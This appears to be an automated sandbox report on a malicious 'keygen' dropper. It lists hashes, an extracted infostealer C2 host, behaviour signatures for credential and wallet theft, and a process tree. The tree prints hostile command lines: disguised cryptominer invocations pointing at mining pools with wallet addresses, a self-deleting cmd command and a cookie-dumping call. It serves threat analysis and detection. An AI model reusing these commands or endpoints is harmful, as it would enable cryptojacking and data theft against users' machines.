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24-04-2021 20:28

210424-hdvwe2nvza 10

24-04-2021 19:13

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24-04-2021 19:13

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24-04-2021 19:13

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24-04-2021 15:54

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24-04-2021 08:51

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24-04-2021 06:48

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Analysis

  • max time kernel
    50s
  • max time network
    60s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    24-04-2021 20:28

General

  • Target

    keygen-step-4.exe

  • Size

    4.6MB

  • MD5

    563107b1df2a00f4ec868acd9e08a205

  • SHA1

    9cb9c91d66292f5317aa50d92e38834861e9c9b7

  • SHA256

    bf2bd257dde4921ce83c7c1303fafe7f9f81e53c2775d3c373ced482b22eb8a9

  • SHA512

    99a8d247fa435c4cd95be7bc64c7dd6e382371f3a3c160aac3995fd705e4fd3f6622c23784a4ae3457c87536347d15eda3f08aa616450778a99376df540d74d1

Malware Config

Extracted

Family

fickerstealer

C2

sodaandcoke.top:80

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • fickerstealer

    Ficker is an infostealer written in Rust and ASM.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • XMRig Miner Payload 3 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 15 IoCs
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 2 IoCs
  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Program Files directory 12 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
    1⤵
      PID:296
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
      1⤵
        PID:1100
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s Themes
        1⤵
          PID:1176
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
          1⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2728
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s WpnService
          1⤵
            PID:2720
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s Browser
            1⤵
              PID:2712
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
              1⤵
                PID:2420
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
                1⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:2400
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
                1⤵
                  PID:1868
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                  1⤵
                    PID:1408
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s SENS
                    1⤵
                      PID:1396
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                      1⤵
                        PID:1036
                      • C:\Users\Admin\AppData\Local\Temp\keygen-step-4.exe
                        "C:\Users\Admin\AppData\Local\Temp\keygen-step-4.exe"
                        1⤵
                        • Checks computer location settings
                        • Suspicious use of WriteProcessMemory
                        PID:488
                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\xiuhuali.exe
                          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\xiuhuali.exe"
                          2⤵
                          • Executes dropped EXE
                          • Drops file in Program Files directory
                          • Suspicious use of SetWindowsHookEx
                          • Suspicious use of WriteProcessMemory
                          PID:1800
                          • C:\Windows\SysWOW64\rundll32.exe
                            "C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
                            3⤵
                            • Loads dropped DLL
                            • Modifies registry class
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of WriteProcessMemory
                            PID:192
                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\JoSetp.exe
                          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\JoSetp.exe"
                          2⤵
                          • Executes dropped EXE
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2376
                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe
                          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe"
                          2⤵
                          • Executes dropped EXE
                          • Suspicious use of WriteProcessMemory
                          PID:3544
                          • C:\Users\Admin\AppData\Local\Temp\is-RLKNL.tmp\Install.tmp
                            "C:\Users\Admin\AppData\Local\Temp\is-RLKNL.tmp\Install.tmp" /SL5="$701E0,235791,152064,C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe"
                            3⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • Suspicious use of WriteProcessMemory
                            PID:2304
                            • C:\Users\Admin\AppData\Local\Temp\is-JFTLM.tmp\Ultra.exe
                              "C:\Users\Admin\AppData\Local\Temp\is-JFTLM.tmp\Ultra.exe" /S /UID=burnerch1
                              4⤵
                              • Drops file in Drivers directory
                              • Executes dropped EXE
                              • Adds Run key to start application
                              • Drops file in Program Files directory
                              • Suspicious use of AdjustPrivilegeToken
                              • Suspicious use of WriteProcessMemory
                              PID:2344
                              • C:\Program Files\Uninstall Information\ODRFTTKSBY\ultramediaburner.exe
                                "C:\Program Files\Uninstall Information\ODRFTTKSBY\ultramediaburner.exe" /VERYSILENT
                                5⤵
                                • Executes dropped EXE
                                • Suspicious use of WriteProcessMemory
                                PID:2208
                                • C:\Users\Admin\AppData\Local\Temp\is-P39P2.tmp\ultramediaburner.tmp
                                  "C:\Users\Admin\AppData\Local\Temp\is-P39P2.tmp\ultramediaburner.tmp" /SL5="$8007A,281924,62464,C:\Program Files\Uninstall Information\ODRFTTKSBY\ultramediaburner.exe" /VERYSILENT
                                  6⤵
                                  • Executes dropped EXE
                                  • Drops file in Program Files directory
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of FindShellTrayWindow
                                  • Suspicious use of WriteProcessMemory
                                  PID:2100
                                  • C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
                                    "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
                                    7⤵
                                    • Executes dropped EXE
                                    PID:3924
                              • C:\Users\Admin\AppData\Local\Temp\6d-5149c-638-2119d-0bff0272f96d3\Riqowaxyme.exe
                                "C:\Users\Admin\AppData\Local\Temp\6d-5149c-638-2119d-0bff0272f96d3\Riqowaxyme.exe"
                                5⤵
                                • Executes dropped EXE
                                PID:2248
                                • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
                                  dw20.exe -x -s 1324
                                  6⤵
                                    PID:3152
                                • C:\Users\Admin\AppData\Local\Temp\01-fc0ae-10f-613a4-88f3a4fa61744\Buzheqeveqa.exe
                                  "C:\Users\Admin\AppData\Local\Temp\01-fc0ae-10f-613a4-88f3a4fa61744\Buzheqeveqa.exe"
                                  5⤵
                                  • Executes dropped EXE
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:1676
                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe
                            "C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe"
                            2⤵
                            • Executes dropped EXE
                            • Modifies system certificate store
                            • Suspicious use of WriteProcessMemory
                            PID:4152
                            • C:\Users\Admin\AppData\Roaming\D595.tmp.exe
                              "C:\Users\Admin\AppData\Roaming\D595.tmp.exe"
                              3⤵
                              • Executes dropped EXE
                              • Suspicious use of SetThreadContext
                              PID:4392
                              • C:\Users\Admin\AppData\Roaming\D595.tmp.exe
                                "C:\Users\Admin\AppData\Roaming\D595.tmp.exe"
                                4⤵
                                • Executes dropped EXE
                                • Checks processor information in registry
                                PID:4712
                            • C:\Users\Admin\AppData\Roaming\D7AA.tmp.exe
                              "C:\Users\Admin\AppData\Roaming\D7AA.tmp.exe"
                              3⤵
                              • Executes dropped EXE
                              • Adds Run key to start application
                              • Suspicious use of SetThreadContext
                              • Suspicious use of WriteProcessMemory
                              PID:4420
                              • C:\Windows\system32\msiexec.exe
                                -P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.w28153@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 99999
                                4⤵
                                  PID:4496
                                • C:\Windows\system32\msiexec.exe
                                  -o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8.w24590 --cpu-max-threads-hint 50 -r 9999
                                  4⤵
                                  • Blocklisted process makes network request
                                  PID:4592
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe"
                                3⤵
                                  PID:4540
                                  • C:\Windows\SysWOW64\PING.EXE
                                    ping 127.0.0.1
                                    4⤵
                                    • Runs ping.exe
                                    PID:4640
                              • C:\Users\Admin\AppData\Local\Temp\RarSFX0\jg6_6asg.exe
                                "C:\Users\Admin\AppData\Local\Temp\RarSFX0\jg6_6asg.exe"
                                2⤵
                                • Executes dropped EXE
                                • Checks whether UAC is enabled
                                PID:2304
                              • C:\Users\Admin\AppData\Local\Temp\RarSFX0\gaoou.exe
                                "C:\Users\Admin\AppData\Local\Temp\RarSFX0\gaoou.exe"
                                2⤵
                                  PID:4956
                                  • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                    C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                    3⤵
                                      PID:4564
                                    • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                      3⤵
                                        PID:4536
                                  • \??\c:\windows\system32\svchost.exe
                                    c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                    1⤵
                                    • Suspicious use of SetThreadContext
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    • Suspicious use of WriteProcessMemory
                                    PID:1140
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k SystemNetworkService
                                      2⤵
                                      • Drops file in System32 directory
                                      • Checks processor information in registry
                                      • Modifies data under HKEY_USERS
                                      • Modifies registry class
                                      PID:688
                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                    1⤵
                                    • Drops file in Windows directory
                                    • Modifies Internet Explorer settings
                                    • Modifies registry class
                                    • Suspicious use of SetWindowsHookEx
                                    PID:4932
                                  • C:\Windows\system32\browser_broker.exe
                                    C:\Windows\system32\browser_broker.exe -Embedding
                                    1⤵
                                    • Modifies Internet Explorer settings
                                    PID:4992
                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                    1⤵
                                    • Modifies registry class
                                    • Suspicious behavior: MapViewOfSection
                                    • Suspicious use of SetWindowsHookEx
                                    PID:4376
                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                    1⤵
                                    • Modifies Internet Explorer settings
                                    • Modifies registry class
                                    PID:4548

                                  Network

                                  MITRE ATT&CK Enterprise v6

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • memory/192-132-0x00000000042B0000-0x000000000430C000-memory.dmp

                                    Filesize

                                    368KB

                                  • memory/192-131-0x0000000002AA1000-0x0000000002BA2000-memory.dmp

                                    Filesize

                                    1.0MB

                                  • memory/296-173-0x0000023F3A890000-0x0000023F3A900000-memory.dmp

                                    Filesize

                                    448KB

                                  • memory/688-171-0x000001656B5D0000-0x000001656B640000-memory.dmp

                                    Filesize

                                    448KB

                                  • memory/688-205-0x000001656DC00000-0x000001656DCFF000-memory.dmp

                                    Filesize

                                    1020KB

                                  • memory/1036-181-0x000001B2B3800000-0x000001B2B3870000-memory.dmp

                                    Filesize

                                    448KB

                                  • memory/1100-179-0x000001D443270000-0x000001D4432E0000-memory.dmp

                                    Filesize

                                    448KB

                                  • memory/1140-162-0x000001AD13900000-0x000001AD13970000-memory.dmp

                                    Filesize

                                    448KB

                                  • memory/1140-160-0x000001AD13840000-0x000001AD1388B000-memory.dmp

                                    Filesize

                                    300KB

                                  • memory/1176-187-0x000001A7DCAB0000-0x000001A7DCB20000-memory.dmp

                                    Filesize

                                    448KB

                                  • memory/1396-183-0x000001F8395B0000-0x000001F839620000-memory.dmp

                                    Filesize

                                    448KB

                                  • memory/1408-189-0x000001B0F0AA0000-0x000001B0F0B10000-memory.dmp

                                    Filesize

                                    448KB

                                  • memory/1676-230-0x0000000000652000-0x0000000000654000-memory.dmp

                                    Filesize

                                    8KB

                                  • memory/1676-228-0x0000000000650000-0x0000000000652000-memory.dmp

                                    Filesize

                                    8KB

                                  • memory/1868-185-0x0000022DD8260000-0x0000022DD82D0000-memory.dmp

                                    Filesize

                                    448KB

                                  • memory/2100-221-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/2208-208-0x0000000000400000-0x0000000000416000-memory.dmp

                                    Filesize

                                    88KB

                                  • memory/2248-222-0x00000000027B0000-0x00000000027B2000-memory.dmp

                                    Filesize

                                    8KB

                                  • memory/2304-268-0x0000000003570000-0x0000000003580000-memory.dmp

                                    Filesize

                                    64KB

                                  • memory/2304-199-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/2304-274-0x0000000003710000-0x0000000003720000-memory.dmp

                                    Filesize

                                    64KB

                                  • memory/2344-203-0x00000000031F0000-0x00000000031F2000-memory.dmp

                                    Filesize

                                    8KB

                                  • memory/2376-133-0x0000000001050000-0x0000000001052000-memory.dmp

                                    Filesize

                                    8KB

                                  • memory/2376-130-0x0000000001040000-0x0000000001041000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/2376-126-0x0000000000B10000-0x0000000000B11000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/2376-129-0x0000000001020000-0x000000000103C000-memory.dmp

                                    Filesize

                                    112KB

                                  • memory/2376-128-0x0000000001010000-0x0000000001011000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/2400-177-0x000002B85DC80000-0x000002B85DCF0000-memory.dmp

                                    Filesize

                                    448KB

                                  • memory/2420-175-0x00000180CA120000-0x00000180CA190000-memory.dmp

                                    Filesize

                                    448KB

                                  • memory/2712-170-0x000001D700370000-0x000001D7003E0000-memory.dmp

                                    Filesize

                                    448KB

                                  • memory/2720-168-0x000002426F220000-0x000002426F290000-memory.dmp

                                    Filesize

                                    448KB

                                  • memory/2728-163-0x0000019964560000-0x00000199645D0000-memory.dmp

                                    Filesize

                                    448KB

                                  • memory/3544-193-0x0000000000400000-0x000000000042B000-memory.dmp

                                    Filesize

                                    172KB

                                  • memory/3924-238-0x0000000003105000-0x0000000003107000-memory.dmp

                                    Filesize

                                    8KB

                                  • memory/3924-223-0x0000000003100000-0x0000000003102000-memory.dmp

                                    Filesize

                                    8KB

                                  • memory/3924-229-0x0000000003102000-0x0000000003104000-memory.dmp

                                    Filesize

                                    8KB

                                  • memory/3924-237-0x0000000003104000-0x0000000003105000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/4152-234-0x00000000001E0000-0x00000000001ED000-memory.dmp

                                    Filesize

                                    52KB

                                  • memory/4152-245-0x0000000003440000-0x0000000003488000-memory.dmp

                                    Filesize

                                    288KB

                                  • memory/4392-260-0x00000000024A0000-0x00000000024E4000-memory.dmp

                                    Filesize

                                    272KB

                                  • memory/4496-246-0x0000000140000000-0x0000000140383000-memory.dmp

                                    Filesize

                                    3.5MB

                                  • memory/4496-249-0x0000000140000000-0x0000000140383000-memory.dmp

                                    Filesize

                                    3.5MB

                                  • memory/4592-254-0x0000000140000000-0x000000014070A000-memory.dmp

                                    Filesize

                                    7.0MB

                                  • memory/4592-253-0x0000022E68940000-0x0000022E68954000-memory.dmp

                                    Filesize

                                    80KB

                                  • memory/4592-250-0x0000000140000000-0x000000014070A000-memory.dmp

                                    Filesize

                                    7.0MB

                                  • memory/4592-266-0x0000022E6A330000-0x0000022E6A350000-memory.dmp

                                    Filesize

                                    128KB

                                  • memory/4712-261-0x0000000000400000-0x0000000000447000-memory.dmp

                                    Filesize

                                    284KB

                                  • memory/4712-255-0x0000000000400000-0x0000000000447000-memory.dmp

                                    Filesize

                                    284KB